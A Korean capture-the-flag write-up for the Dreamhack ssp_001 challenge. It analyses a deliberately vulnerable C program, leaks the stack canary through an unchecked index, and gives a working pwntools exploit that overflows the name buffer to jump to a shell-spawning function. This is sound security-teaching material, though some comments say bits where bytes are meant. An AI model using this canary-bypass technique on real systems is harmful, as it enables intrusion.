[Dreamhakck] ssp_001
Description
이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
소스코드 분석 및 보호기법 탐지
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
name_len값을 사용자 입력을 통해 결정하고, 그 크기만큼 name배열에 read()를 수행한다.
name의 크기는 0x40(64바이트), 하지만 name_len에서 크기를 검사하지 않는다
name_len에서 0x40(64바이트)의 크기보다 큰 값을 설정하면 버퍼 오버플로우를 발생시킬 수 있음.
get_shell() 함수의 주소를 찾아 리턴값으로 바꿔주어 shell을 획득.
보호기법 탐지
카나리 보호기법이 탐지됨.
카나리 값을 가져와 익스플로잇을 실행해줘야한다.
메모리 구조 분석 및 취약점
Canary값 찾기
ebp - 0x8 위치에 canary = 0x6f4d1000 가 위치하고 있음.
disass main
메뉴를 저장하는 "select" 함수 ebp-0x8a 에 위치.
사용자의 입력을 저장하는 변수 "box"는 주소 ebp-0x88에 위치
"idx"는 ebp-0x94 에 위치.
변수 "name_len" 은 ebp-0x90, "name"은 ebp-0x48에 위치.
get_shell() 주소 찾기 = 0x080486b9
pwndbg> p &get_shell
pwndbg> disass get_shell
취약점 분석
'P' 입력 시 지정한 인덱스가 출력되기 때문에 카나리릭 가능.
box - canary offset = box [64] + name [64] = 128byte
즉, 인덱스의 128~131을 구하면 카나리 값을 구할 수 있음.
'E' 입력 시 버퍼 크기 제한이 없기 때문에 버퍼 오버플로우로 리턴주소 변경 가능.
payload
name [64] + canary + dummy + ebp + RET( get_shell 함수)
Exploit
from pwn import *
# 로컬 실행 및 원격 서버 연결
p = process('./ssp_001')
p = remote('host3.dreamhack.games', 14791)
get_shell = 0x080486b9
canary = b''
for i in range(131, 127, -1): # box (64비트) + name(64비트) -> 128비트부터 4비트가 카나리 값
p.sendlineafter(b'> ',b'P')
p.sendlineafter(b'Element index :', str(i))
canary += p.recvuntil('\n')[-3:-1]
canary = int(canary,16)
payload = b'A'*0x40 + p32(canary) + b'B'*8 + p32(get_shell)
p.sendlineafter(b'> ',b'E')
p.sendlineafter(b'Name Size : ', b'300')
p.sendlineafter(b'Name : ', payload)
p.interactive()